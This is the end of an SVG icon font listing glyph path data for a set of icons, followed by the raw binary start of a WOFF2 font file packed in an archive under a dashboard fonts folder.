d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v651h128v-651q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
v128h192z" />
    <glyph glyph-name="uniF2C9" unicode="&#xf2c9;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v395h128v-395q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
v128h192z" />
    <glyph glyph-name="uniF2CA" unicode="&#xf2ca;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v139h128v-139q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
v128h192z" />
    <glyph glyph-name="uniF2CB" unicode="&#xf2cb;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 79 56 135.5t136 56.5t136 -56.5t56 -135.5zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5t93.5 226.5z
M896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192v128h192z" />
    <glyph glyph-name="uniF2CC" unicode="&#xf2cc;" horiz-adv-x="1920" 
d="M1433 1287q10 -10 10 -23t-10 -23l-626 -626q-10 -10 -23 -10t-23 10l-82 82q-10 10 -10 23t10 23l44 44q-72 91 -81.5 207t46.5 215q-74 71 -176 71q-106 0 -181 -75t-75 -181v-1280h-256v1280q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5q106 0 201 -41
t166 -115q94 39 197 24.5t185 -79.5l44 44q10 10 23 10t23 -10zM1344 1024q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1600 896q-26 0 -45 19t-19 45t19 45t45 19t45 -19t19 -45t-19 -45t-45 -19zM1856 1024q26 0 45 -19t19 -45t-19 -45t-45 -19
t-45 19t-19 45t19 45t45 19zM1216 896q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1408 832q0 26 19 45t45 19t45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45zM1728 896q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1088 768
q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1344 640q-26 0 -45 19t-19 45t19 45t45 19t45 -19t19 -45t-19 -45t-45 -19zM1600 768q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1216 512q-26 0 -45 19t-19 45t19 45t45 19t45 -19
t19 -45t-19 -45t-45 -19zM1472 640q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1088 512q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1344 512q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1216 384
q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1088 256q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19z" />
    <glyph glyph-name="uniF2CD" unicode="&#xf2cd;" horiz-adv-x="1792" 
d="M1664 448v-192q0 -169 -128 -286v-194q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v118q-63 -22 -128 -22h-768q-65 0 -128 22v-110q0 -17 -9.5 -28.5t-22.5 -11.5h-64q-13 0 -22.5 11.5t-9.5 28.5v186q-128 117 -128 286v192h1536zM704 864q0 -14 -9 -23t-23 -9t-23 9
t-9 23t9 23t23 9t23 -9t9 -23zM768 928q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM704 992q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM832 992q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM768 1056q0 -14 -9 -23t-23 -9t-23 9
t-9 23t9 23t23 9t23 -9t9 -23zM704 1120q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM1792 608v-64q0 -14 -9 -23t-23 -9h-1728q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v640q0 106 75 181t181 75q108 0 184 -78q46 19 98 12t93 -39l22 22q11 11 22 0l42 -42
q11 -11 0 -22l-314 -314q-11 -11 -22 0l-42 42q-11 11 0 22l22 22q-36 46 -40.5 104t23.5 108q-37 35 -88 35q-53 0 -90.5 -37.5t-37.5 -90.5v-640h1504q14 0 23 -9t9 -23zM896 1056q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM832 1120q0 -14 -9 -23t-23 -9
t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM768 1184q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM960 1120q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM896 1184q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM832 1248q0 -14 -9 -23
t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM1024 1184q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM960 1248q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM1088 1248q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23z" />
    <glyph glyph-name="uniF2CE" unicode="&#xf2ce;" 
d="M994 344q0 -86 -17 -197q-31 -215 -55 -313q-22 -90 -152 -90t-152 90q-24 98 -55 313q-17 110 -17 197q0 168 224 168t224 -168zM1536 768q0 -240 -134 -434t-350 -280q-8 -3 -15 3t-6 15q7 48 10 66q4 32 6 47q1 9 9 12q159 81 255.5 234t96.5 337q0 180 -91 330.5
t-247 234.5t-337 74q-124 -7 -237 -61t-193.5 -140.5t-128 -202t-46.5 -240.5q1 -184 99 -336.5t257 -231.5q7 -3 9 -12q3 -21 6 -45q1 -9 5 -32.5t6 -35.5q1 -9 -6.5 -15t-15.5 -2q-148 58 -261 169.5t-173.5 264t-52.5 319.5q7 143 66 273.5t154.5 227t225 157.5t272.5 70
q164 10 315.5 -46.5t261 -160.5t175 -250.5t65.5 -308.5zM994 800q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5zM1282 768q0 -122 -53.5 -228.5t-146.5 -177.5q-8 -6 -16 -2t-10 14q-6 52 -29 92q-7 10 3 20
q58 54 91 127t33 155q0 111 -58.5 204t-157.5 141.5t-212 36.5q-133 -15 -229 -113t-109 -231q-10 -92 23.5 -176t98.5 -144q10 -10 3 -20q-24 -41 -29 -93q-2 -9 -10 -13t-16 2q-95 74 -148.5 183t-51.5 234q3 131 69 244t177 181.5t241 74.5q144 7 268 -60t196.5 -187.5
t72.5 -263.5z" />
    <glyph glyph-name="uniF2D0" unicode="&#xf2d0;" horiz-adv-x="1792" 
d="M256 128h1280v768h-1280v-768zM1792 1248v-1216q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D1" unicode="&#xf2d1;" horiz-adv-x="1792" 
d="M1792 224v-192q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v192q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D2" unicode="&#xf2d2;" horiz-adv-x="2048" 
d="M256 0h768v512h-768v-512zM1280 512h512v768h-768v-256h96q66 0 113 -47t47 -113v-352zM2048 1376v-960q0 -66 -47 -113t-113 -47h-608v-352q0 -66 -47 -113t-113 -47h-960q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h608v352q0 66 47 113t113 47h960q66 0 113 -47
t47 -113z" />
    <glyph glyph-name="uniF2D3" unicode="&#xf2d3;" horiz-adv-x="1792" 
d="M1175 215l146 146q10 10 10 23t-10 23l-233 233l233 233q10 10 10 23t-10 23l-146 146q-10 10 -23 10t-23 -10l-233 -233l-233 233q-10 10 -23 10t-23 -10l-146 -146q-10 -10 -10 -23t10 -23l233 -233l-233 -233q-10 -10 -10 -23t10 -23l146 -146q10 -10 23 -10t23 10
l233 233l233 -233q10 -10 23 -10t23 10zM1792 1248v-1216q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D4" unicode="&#xf2d4;" horiz-adv-x="1792" 
d="M1257 425l-146 -146q-10 -10 -23 -10t-23 10l-169 169l-169 -169q-10 -10 -23 -10t-23 10l-146 146q-10 10 -10 23t10 23l169 169l-169 169q-10 10 -10 23t10 23l146 146q10 10 23 10t23 -10l169 -169l169 169q10 10 23 10t23 -10l146 -146q10 -10 10 -23t-10 -23
l-169 -169l169 -169q10 -10 10 -23t-10 -23zM256 128h1280v1024h-1280v-1024zM1792 1248v-1216q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D5" unicode="&#xf2d5;" horiz-adv-x="1792" 
d="M1070 358l306 564h-654l-306 -564h654zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2D6" unicode="&#xf2d6;" horiz-adv-x="1794" 
d="M1291 1060q-15 17 -35 8.5t-26 -28.5t5 -38q14 -17 40 -14.5t34 20.5t-18 52zM895 814q-8 -8 -19.5 -8t-18.5 8q-8 8 -8 19t8 18q7 8 18.5 8t19.5 -8q7 -7 7 -18t-7 -19zM1060 740l-35 -35q-12 -13 -29.5 -13t-30.5 13l-38 38q-12 13 -12 30t12 30l35 35q12 12 29.5 12
t30.5 -12l38 -39q12 -12 12 -29.5t-12 -29.5zM951 870q-7 -8 -18.5 -8t-19.5 8q-7 8 -7 19t7 19q8 8 19 8t19 -8t8 -19t-8 -19zM1354 968q-34 -64 -107.5 -85.5t-127.5 16.5q-38 28 -61 66.5t-21 87.5t39 92t75.5 53t70.5 -5t70 -51q2 -2 13 -12.5t14.5 -13.5t13 -13.5
t12.5 -15.5t10 -15.5t8.5 -18t4 -18.5t1 -21t-5 -22t-9.5 -24zM1555 486q3 20 -8.5 34.5t-27.5 21.5t-33 17t-23 20q-40 71 -84 98.5t-113 11.5q19 13 40 18.5t33 4.5l12 -1q2 45 -34 90q6 20 6.5 40.5t-2.5 30.5l-3 10q43 24 71 65t34 91q10 84 -43 150.5t-137 76.5
q-60 7 -114 -18.5t-82 -74.5q-30 -51 -33.5 -101t14.5 -87t43.5 -64t56.5 -42q-45 4 -88 36t-57 88q-28 108 32 222q-16 21 -29 32q-50 0 -89 -19q19 24 42 37t36 14l13 1q0 50 -13 78q-10 21 -32.5 28.5t-47 -3.5t-37.5 -40q2 4 4 7q-7 -28 -6.5 -75.5t19 -117t48.5 -122.5
q-25 -14 -47 -36q-35 -16 -85.5 -70.5t-84.5 -101.5l-33 -46q-90 -34 -181 -125.5t-75 -162.5q1 -16 11 -27q-15 -12 -30 -30q-21 -25 -21 -54t21.5 -40t63.5 6q41 19 77 49.5t55 60.5q-2 2 -6.5 5t-20.5 7.5t-33 3.5q23 5 51 12.5t40 10t27.5 6t26 4t23.5 0.5q14 -7 22 34
q7 37 7 90q0 102 -40 150q106 -103 101 -219q-1 -29 -15 -50t-27 -27l-13 -6q-4 -7 -19 -32t-26 -45.5t-26.5 -52t-25 -61t-17 -63t-6.5 -66.5t10 -63q-35 54 -37 80q-22 -24 -34.5 -39t-33.5 -42t-30.5 -46t-16.5 -41t-0.5 -38t25.5 -27q45 -25 144 64t190.5 221.5
t122.5 228.5q86 52 145 115.5t86 119.5q47 -93 154 -178q104 -83 167 -80q39 2 46 43zM1794 640q0 -182 -71 -348t-191 -286t-286.5 -191t-348.5 -71t-348.5 71t-286.5 191t-191 286t-71 348t71 348t191 286t286.5 191t348.5 71t348.5 -71t286.5 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2D7" unicode="&#xf2d7;" 
d="M518 1353v-655q103 -1 191.5 1.5t125.5 5.5l37 3q68 2 90.5 24.5t39.5 94.5l33 142h103l-14 -322l7 -319h-103l-29 127q-15 68 -45 93t-84 26q-87 8 -352 8v-556q0 -78 43.5 -115.5t133.5 -37.5h357q35 0 59.5 2t55 7.5t54 18t48.5 32t46 50.5t39 73l93 216h89
q-6 -37 -31.5 -252t-30.5 -276q-146 5 -263.5 8t-162.5 4h-44h-628l-376 -12v102l127 25q67 13 91.5 37t25.5 79l8 643q3 402 -8 645q-2 61 -25.5 84t-91.5 36l-127 24v102l376 -12h702q139 0 374 27q-6 -68 -14 -194.5t-12 -219.5l-5 -92h-93l-32 124q-31 121 -74 179.5
t-113 58.5h-548q-28 0 -35.5 -8.5t-7.5 -30.5z" />
    <glyph glyph-name="uniF2D8" unicode="&#xf2d8;" 
d="M922 739v-182q0 -4 0.5 -15t0 -15l-1.5 -12t-3.5 -11.5t-6.5 -7.5t-11 -5.5t-16 -1.5v309q9 0 16 -1t11 -5t6.5 -5.5t3.5 -9.5t1 -10.5v-13.5v-14zM1238 643v-121q0 -1 0.5 -12.5t0 -15.5t-2.5 -11.5t-7.5 -10.5t-13.5 -3q-9 0 -14 9q-4 10 -4 165v7v8.5v9t1.5 8.5l3.5 7
t5 5.5t8 1.5q6 0 10 -1.5t6.5 -4.5t4 -6t2 -8.5t0.5 -8v-9.5v-9zM180 407h122v472h-122v-472zM614 407h106v472h-159l-28 -221q-20 148 -32 221h-158v-472h107v312l45 -312h76l43 319v-319zM1039 712q0 67 -5 90q-3 16 -11 28.5t-17 20.5t-25 14t-26.5 8.5t-31 4t-29 1.5
h-29.5h-12h-91v-472h56q169 -1 197 24.5t25 180.5q-1 62 -1 100zM1356 515v133q0 29 -2 45t-9.5 33.5t-24.5 25t-46 7.5q-46 0 -77 -34v154h-117v-472h110l7 30q30 -36 77 -36q50 0 66 30.5t16 83.5zM1536 1248v-1216q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113
v1216q0 66 47 113t113 47h1216q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D9" unicode="&#xf2d9;" horiz-adv-x="2176" 
d="M1143 -197q-6 1 -11 4q-13 8 -36 23t-86 65t-116.5 104.5t-112 140t-89.5 172.5q-17 3 -175 37q66 -213 235 -362t391 -184zM502 409l168 -28q-25 76 -41 167.5t-19 145.5l-4 53q-84 -82 -121 -224q5 -65 17 -114zM612 1018q-43 -64 -77 -148q44 46 74 68zM2049 584
q0 161 -62 307t-167.5 252t-250.5 168.5t-304 62.5q-147 0 -281 -52.5t-240 -148.5q-30 -58 -45 -160q60 51 143 83.5t158.5 43t143 13.5t108.5 -1l40 -3q33 -1 53 -15.5t24.5 -33t6.5 -37t-1 -28.5q-126 11 -227.5 0.5t-183 -43.5t-142.5 -71.5t-131 -98.5
q4 -36 11.5 -92.5t35.5 -178t62 -179.5q123 -6 247.5 14.5t214.5 53.5t162.5 67t109.5 59l37 24q22 16 39.5 20.5t30.5 -5t17 -34.5q14 -97 -39 -121q-208 -97 -467 -134q-135 -20 -317 -16q41 -96 110 -176.5t137 -127t130.5 -79t101.5 -43.5l39 -12q143 -23 263 15
q195 99 314 289t119 418zM2123 621q-14 -135 -40 -212q-70 -208 -181.5 -346.5t-318.5 -253.5q-48 -33 -82 -44q-72 -26 -163 -16q-36 -3 -73 -3q-283 0 -504.5 173t-295.5 442q-1 0 -4 0.5t-5 0.5q-6 -50 2.5 -112.5t26 -115t36 -98t31.5 -71.5l14 -26q8 -12 54 -82
q-71 38 -124.5 106.5t-78.5 140t-39.5 137t-17.5 107.5l-2 42q-5 2 -33.5 12.5t-48.5 18t-53 20.5t-57.5 25t-50 25.5t-42.5 27t-25 25.5q19 -10 50.5 -25.5t113 -45.5t145.5 -38l2 32q11 149 94 290q41 202 176 365q28 115 81 214q15 28 32 45t49 32q158 74 303.5 104
t302 11t306.5 -97q220 -115 333 -336t87 -474z" />
    <glyph glyph-name="uniF2DA" unicode="&#xf2da;" horiz-adv-x="1792" 
d="M1341 752q29 44 -6.5 129.5t-121.5 142.5q-58 39 -125.5 53.5t-118 4.5t-68.5 -37q-12 -23 -4.5 -28t42.5 -10q23 -3 38.5 -5t44.5 -9.5t56 -17.5q36 -13 67.5 -31.5t53 -37t40 -38.5t30.5 -38t22 -34.5t16.5 -28.5t12 -18.5t10.5 -6t11 9.5zM1704 178
q-52 -127 -148.5 -220t-214.5 -141.5t-253 -60.5t-266 13.5t-251 91t-210 161.5t-141.5 235.5t-46.5 303.5q1 41 8.5 84.5t12.5 64t24 80.5t23 73q-51 -208 1 -397t173 -318t291 -206t346 -83t349 74.5t289 244.5q20 27 18 14q0 -4 -4 -14zM1465 627q0 -104 -40.5 -199
t-108.5 -164t-162 -109.5t-198 -40.5t-198 40.5t-162 109.5t-108.5 164t-40.5 199t40.5 199t108.5 164t162 109.5t198 40.5t198 -40.5t162 -109.5t108.5 -164t40.5 -199zM1752 915q-65 147 -180.5 251t-253 153.5t-292 53.5t-301 -36.5t-275.5 -129t-220 -211.5t-131 -297
t-10 -373q-49 161 -51.5 311.5t35.5 272.5t109 227t165.5 180.5t207 126t232 71t242.5 9t236 -54t216 -124.5t178 -197q33 -50 62 -121t31 -112zM1690 573q12 244 -136.5 416t-396.5 240q-8 0 -10 5t24 8q125 -4 230 -50t173 -120t116 -168.5t58.5 -199t-1 -208
t-61.5 -197.5t-122.5 -167t-185 -117.5t-248.5 -46.5q108 30 201.5 80t174 123t129.5 176.5t55 225.5z" />
    <glyph glyph-name="uniF2DB" unicode="&#xf2db;" 
d="M192 256v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM192 512v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM192 768v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16
q0 16 16 16h112zM192 1024v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM192 1280v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM1280 1440v-1472q0 -40 -28 -68t-68 -28h-832q-40 0 -68 28
t-28 68v1472q0 40 28 68t68 28h832q40 0 68 -28t28 -68zM1536 208v-32q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16h48q16 0 16 -16zM1536 464v-32q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16h48q16 0 16 -16zM1536 720v-32
q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16h48q16 0 16 -16zM1536 976v-32q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16h48q16 0 16 -16zM1536 1232v-32q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16
h48q16 0 16 -16z" />
    <glyph glyph-name="uniF2DC" unicode="&#xf2dc;" horiz-adv-x="1664" 
d="M1566 419l-167 -33l186 -107q23 -13 29.5 -38.5t-6.5 -48.5q-14 -23 -39 -29.5t-48 6.5l-186 106l55 -160q13 -38 -12 -63.5t-60.5 -20.5t-48.5 42l-102 300l-271 156v-313l208 -238q16 -18 17 -39t-11 -36.5t-28.5 -25t-37 -5.5t-36.5 22l-112 128v-214q0 -26 -19 -45
t-45 -19t-45 19t-19 45v214l-112 -128q-16 -18 -36.5 -22t-37 5.5t-28.5 25t-11 36.5t17 39l208 238v313l-271 -156l-102 -300q-13 -37 -48.5 -42t-60.5 20.5t-12 63.5l55 160l-186 -106q-23 -13 -48 -6.5t-39 29.5q-13 23 -6.5 48.5t29.5 38.5l186 107l-167 33
q-29 6 -42 29t-8.5 46.5t25.5 40t50 10.5l310 -62l271 157l-271 157l-310 -62q-4 -1 -13 -1q-27 0 -44 18t-19 40t11 43t40 26l167 33l-186 107q-23 13 -29.5 38.5t6.5 48.5t39 30t48 -7l186 -106l-55 160q-13 38 12 63.5t60.5 20.5t48.5 -42l102 -300l271 -156v313
l-208 238q-16 18 -17 39t11 36.5t28.5 25t37 5.5t36.5 -22l112 -128v214q0 26 19 45t45 19t45 -19t19 -45v-214l112 128q16 18 36.5 22t37 -5.5t28.5 -25t11 -36.5t-17 -39l-208 -238v-313l271 156l102 300q13 37 48.5 42t60.5 -20.5t12 -63.5l-55 -160l186 106
q23 13 48 6.5t39 -29.5q13 -23 6.5 -48.5t-29.5 -38.5l-186 -107l167 -33q27 -5 40 -26t11 -43t-19 -40t-44 -18q-9 0 -13 1l-310 62l-271 -157l271 -157l310 62q29 6 50 -10.5t25.5 -40t-8.5 -46.5t-42 -29z" />
    <glyph glyph-name="uniF2DD" unicode="&#xf2dd;" horiz-adv-x="1792" 
d="M1473 607q7 118 -33 226.5t-113 189t-177 131t-221 57.5q-116 7 -225.5 -32t-192 -110.5t-135 -175t-59.5 -220.5q-7 -118 33 -226.5t113 -189t177.5 -131t221.5 -57.5q155 -9 293 59t224 195.5t94 283.5zM1792 1536l-349 -348q120 -117 180.5 -272t50.5 -321
q-11 -183 -102 -339t-241 -255.5t-332 -124.5l-999 -132l347 347q-120 116 -180.5 271.5t-50.5 321.5q11 184 102 340t241.5 255.5t332.5 124.5q167 22 500 66t500 66z" />
    <glyph glyph-name="uniF2DE" unicode="&#xf2de;" horiz-adv-x="1792" 
d="M948 508l163 -329h-51l-175 350l-171 -350h-49l179 374l-78 33l21 49l240 -102l-21 -50zM563 1100l304 -130l-130 -304l-304 130zM907 915l240 -103l-103 -239l-239 102zM1188 765l191 -81l-82 -190l-190 81zM1680 640q0 159 -62 304t-167.5 250.5t-250.5 167.5t-304 62
t-304 -62t-250.5 -167.5t-167.5 -250.5t-62 -304t62 -304t167.5 -250.5t250.5 -167.5t304 -62t304 62t250.5 167.5t167.5 250.5t62 304zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71
t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2E0" unicode="&#xf2e0;" horiz-adv-x="1920" 
d="M1334 302q-4 24 -27.5 34t-49.5 10.5t-48.5 12.5t-25.5 38q-5 47 33 139.5t75 181t32 127.5q-14 101 -117 103q-45 1 -75 -16l-3 -2l-5 -2.5t-4.5 -2t-5 -2t-5 -0.5t-6 1.5t-6 3.5t-6.5 5q-3 2 -9 8.5t-9 9t-8.5 7.5t-9.5 7.5t-9.5 5.5t-11 4.5t-11.5 2.5q-30 5 -48 -3
t-45 -31q-1 -1 -9 -8.5t-12.5 -11t-15 -10t-16.5 -5.5t-17 3q-54 27 -84 40q-41 18 -94 -5t-76 -65q-16 -28 -41 -98.5t-43.5 -132.5t-40 -134t-21.5 -73q-22 -69 18.5 -119t110.5 -46q30 2 50.5 15t38.5 46q7 13 79 199.5t77 194.5q6 11 21.5 18t29.5 0q27 -15 21 -53
q-2 -18 -51 -139.5t-50 -132.5q-6 -38 19.5 -56.5t60.5 -7t55 49.5q4 8 45.5 92t81.5 163.5t46 88.5q20 29 41 28q29 0 25 -38q-2 -16 -65.5 -147.5t-70.5 -159.5q-12 -53 13 -103t74 -74q17 -9 51 -15.5t71.5 -8t62.5 14t20 48.5zM383 86q3 -15 -5 -27.5t-23 -15.5
q-14 -3 -26.5 5t-15.5 23q-3 14 5 27t22 16t27 -5t16 -23zM953 -177q12 -17 8.5 -37.5t-20.5 -32.5t-37.5 -8t-32.5 21q-11 17 -7.5 37.5t20.5 32.5t37.5 8t31.5 -21zM177 635q-18 -27 -49.5 -33t-57.5 13q-26 18 -32 50t12 58q18 27 49.5 33t57.5 -12q26 -19 32 -50.5
t-12 -58.5zM1467 -42q19 -28 13 -61.5t-34 -52.5t-60.5 -13t-51.5 34t-13 61t33 53q28 19 60.5 13t52.5 -34zM1579 562q69 -113 42.5 -244.5t-134.5 -207.5q-90 -63 -199 -60q-20 -80 -84.5 -127t-143.5 -44.5t-140 57.5q-12 -9 -13 -10q-103 -71 -225 -48.5t-193 126.5
q-50 73 -53 164q-83 14 -142.5 70.5t-80.5 128t-2 152t81 138.5q-36 60 -38 128t24.5 125t79.5 98.5t121 50.5q32 85 99 148t146.5 91.5t168 17t159.5 -66.5q72 21 140 17.5t128.5 -36t104.5 -80t67.5 -115t17.5 -140.5q52 -16 87 -57t45.5 -89t-5.5 -99.5t-58 -87.5z
M455 1222q14 -20 9.5 -44.5t-24.5 -38.5q-19 -14 -43.5 -9.5t-37.5 24.5q-14 20 -9.5 44.5t24.5 38.5q19 14 43.5 9.5t37.5 -24.5zM614 1503q4 -16 -5 -30.5t-26 -18.5t-31 5.5t-18 26.5q-3 17 6.5 31t25.5 18q17 4 31 -5.5t17 -26.5zM1800 555q4 -20 -6.5 -37t-30.5 -21
q-19 -4 -36 6.5t-21 30.5t6.5 37t30.5 22q20 4 36.5 -7.5t20.5 -30.5zM1136 1448q16 -27 8.5 -58.5t-35.5 -47.5q-27 -16 -57.5 -8.5t-46.5 34.5q-16 28 -8.5 59t34.5 48t58 9t47 -36zM1882 792q4 -15 -4 -27.5t-23 -16.5q-15 -3 -27.5 5.5t-15.5 22.5q-3 15 5 28t23 16
q14 3 26.5 -5t15.5 -23zM1691 1033q15 -22 10.5 -49t-26.5 -43q-22 -15 -49 -10t-42 27t-10 49t27 43t48.5 11t41.5 -28z" />
    <glyph glyph-name="uniF2E1" unicode="&#xf2e1;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E2" unicode="&#xf2e2;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E3" unicode="&#xf2e3;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E4" unicode="&#xf2e4;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E5" unicode="&#xf2e5;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E6" unicode="&#xf2e6;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E7" unicode="&#xf2e7;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="_698" unicode="&#xf2e8;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E9" unicode="&#xf2e9;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2EA" unicode="&#xf2ea;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2EB" unicode="&#xf2eb;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2EC" unicode="&#xf2ec;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2ED" unicode="&#xf2ed;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2EE" unicode="&#xf2ee;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="lessequal" unicode="&#xf500;" horiz-adv-x="1792" 
 />
  </font>
</defs></svg>
PK     N\Uh- h- #  inc/dashboard/css/fonts/icons.woff2nu [        wOF2    -h     -                     ?FFTM ` r
(X6$p  u[R	rGa*'=:&=r*
]tEn1F@|fm`$ؑ@d[BQ$([U<+(@P5`>P;(1lhԨ)YyJi|%ہ^G3nڕ
